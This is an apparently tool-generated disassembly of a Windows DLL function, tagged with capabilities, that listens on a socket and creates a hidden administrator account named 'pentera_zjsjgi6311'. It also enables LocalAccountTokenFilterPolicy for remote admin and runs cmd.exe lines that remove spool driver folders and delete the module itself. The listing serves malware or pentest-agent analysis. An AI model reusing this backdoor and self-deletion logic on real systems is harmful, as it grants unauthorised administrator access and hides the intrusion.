Function at 0x180001650
Capabilities:
Add user account
Add user account to group
Create process on windows
Delete user account
Get user security identifier
Initialize winsock library
Query or enumerate registry value
Self delete
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rbp
push r14
push r15
lea rbp, [r11 - 0x858]
sub rsp, 0x940
mov rax, qword [0x180024008]
xor rax, rsp
mov qword [rbp + 0x830], rax
xor eax, eax
mov qword [r11 + 8], rsi
xor r14d, r14d
mov dword [rsp + 0x71], eax
mov ecx, r14d
mov word [rsp + 0x75], ax
lea rdx, str.reverse
mov qword [r11 + 0x10], rdi
lea rbx, str.bind
movzx eax, byte [rdx + rcx]
mov r15d, 2
inc rcx
cmp al, byte [rbx + rcx - 1]
jne 0x18000177a
cmp rcx, 5
jne 0x1800016a2
lea rcx, str.43509
call fcn.1800060a0
mov ecx, r15d
lea rdx, [rbp + 0x10]
mov esi, eax
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r8d, r8d
lea edx, [r15 - 1]
mov ecx, r15d
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800016ff
lea rbx, str.socket
jmp 0x180001b36
movzx ecx, si
mov word [rbp - 0x80], r15w
call qword [sym.imp.WS2_32.dll_htons]
mov r8d, reloc.WS2_32.dll_recv
mov dword [rbp - 0x7c], r14d
lea rdx, [rbp - 0x80]
mov word [rbp - 0x7e], ax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x180001b36
mov edx, 0xa
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x180001750
lea rbx, str.listen
jmp 0x180001b36
lea r8, [rsp + 0x6c]
mov dword [rsp + 0x6c], reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_accept]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180001b2f
jmp 0x18000177e
mov rdi, qword [rbp - 0x80]
lea r8, str.u3TE58zbjcCRzF
mov dword [rsp + 0x6c], r14d
mov edx, 0x100
lea rcx, [rbp + 0x420]
call fcn.180005bf8
test eax, eax
je 0x1800017a4
mov ebx, r14d
jmp 0x18000180d
lea r8, str.pentera_zjsjgi6311
mov edx, 0x100
lea rcx, [rbp + 0x10]
call fcn.180005bf8
test eax, eax
je 0x1800017c2
mov ebx, r14d
jmp 0x18000180d
lea rax, [rbp + 0x10]
mov dword [rbp - 0x4c], 1
mov qword [rbp - 0x60], rax
lea r9, [rsp + 0x6c]
lea rax, [rbp + 0x420]
mov dword [rbp - 0x38], 0x10001
xorps xmm0, xmm0
mov qword [rbp - 0x58], rax
lea r8, [rbp - 0x60]
mov qword [rbp - 0x30], r14
mov edx, 1
xor ecx, ecx
movdqu xmmword [rbp - 0x48], xmm0
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
mov ebx, r14d
sete bl
mov r9d, r15d
mov byte [rsp + 0x68], 1
lea r8, [rsp + 0x68]
mov byte [rsp + 0x69], bl
mov qword [rsp + 0x28], rdi
call fcn.180001040
test ebx, ebx
je 0x18000190a
lea rdx, [rbp - 0x80]
mov dword [rsp + 0x6c], 0x100
lea rcx, str.S_1_5_32_544
call qword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidW]
test eax, eax
je 0x1800018fb
mov rdx, qword [rbp - 0x80]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x6c]
lea rax, [rsp + 0x6c]
xor ecx, ecx
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x420]
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
mov rcx, qword [rbp - 0x80]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LocalFree]
test ebx, ebx
je 0x1800018fb
lea rax, [rsp + 0x78]
mov dword [rsp + 0x6c], 0x100
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x6c]
lea rax, [rsp + 0x6c]
xor ecx, ecx
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x10]
lea rax, [rbp + 0x210]
lea rdx, str.pentera_zjsjgi6311
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x1800018fb
lea r8, [rbp + 0x10]
xor ecx, ecx
lea rdx, [rbp + 0x420]
call qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMember]
test eax, eax
jne 0x1800018fb
mov eax, 1
jmp 0x18000190d
lea rdx, str.pentera_zjsjgi6311
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetUserDel]
mov eax, r14d
mov r9d, r15d
mov byte [rsp + 0x68], r15b
lea r8, [rsp + 0x68]
mov byte [rsp + 0x69], al
mov qword [rsp + 0x28], rdi
call fcn.180001040
lea rax, [rbp - 0x80]
mov r9d, 0x20007
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18000195a
mov ebx, r14d
jmp 0x1800019f8
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
lea rdx, str.LocalAccountTokenFilterPolicy
lea rax, [rsp + 0x78]
mov dword [rsp + 0x6c], 1
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp - 0x70], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, r15d
jne 0x18000199f
mov byte [rsp + 0x72], r14b
jmp 0x1800019bd
test eax, eax
jne 0x180001952
mov eax, dword [rsp + 0x78]
cmp eax, dword [rsp + 0x6c]
jne 0x1800019b4
mov byte [rsp + 0x72], r15b
jmp 0x1800019bd
mov byte [rsp + 0x72], 1
mov dword [rsp + 0x73], eax
mov rcx, qword [rbp - 0x80]
lea rax, [rsp + 0x6c]
mov dword [rsp + 0x28], 4
lea rdx, str.LocalAccountTokenFilterPolicy
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x80]
test eax, eax
sete bl
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r9d, 7
mov byte [rsp + 0x70], 3
lea r8, [rsp + 0x70]
mov byte [rsp + 0x71], bl
mov qword [rsp + 0x28], rdi
call fcn.180001040
lea rcx, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__rmdir__s__q_C:WindowsSystem32_spooldriversx643Old
call fcn.1800014d0
lea rcx, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__rmdir__s__q_C:WindowsSystem32_spooldriversx643New
call fcn.1800014d0
mov r9d, r15d
mov word [rsp + 0x68], 0x105
lea r8, [rsp + 0x68]
mov qword [rsp + 0x28], rdi
call fcn.180001040
xorps xmm0, xmm0
lea rdx, [rbp + 0x210]
xor eax, eax
mov r8d, 0x104
xor ecx, ecx
mov qword [rbp], rax
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, [rbp + 0x210]
mov edx, 0x208
lea r8, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea rcx, [rbp + 0x420]
call fcn.180001240
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x420]
lea rax, [rbp - 0x60]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x968]
mov rsi, qword [rsp + 0x960]
mov rcx, qword [rbp + 0x830]
xor rcx, rsp
call fcn.180001ce0
mov rbx, qword [rsp + 0x970]
add rsp, 0x940
pop r15
pop r14
pop rbp
ret
lea rbx, str.accept
mov rcx, rbx
call fcn.18000628c
mov ecx, 0xffffffff
call fcn.18000ae04
int3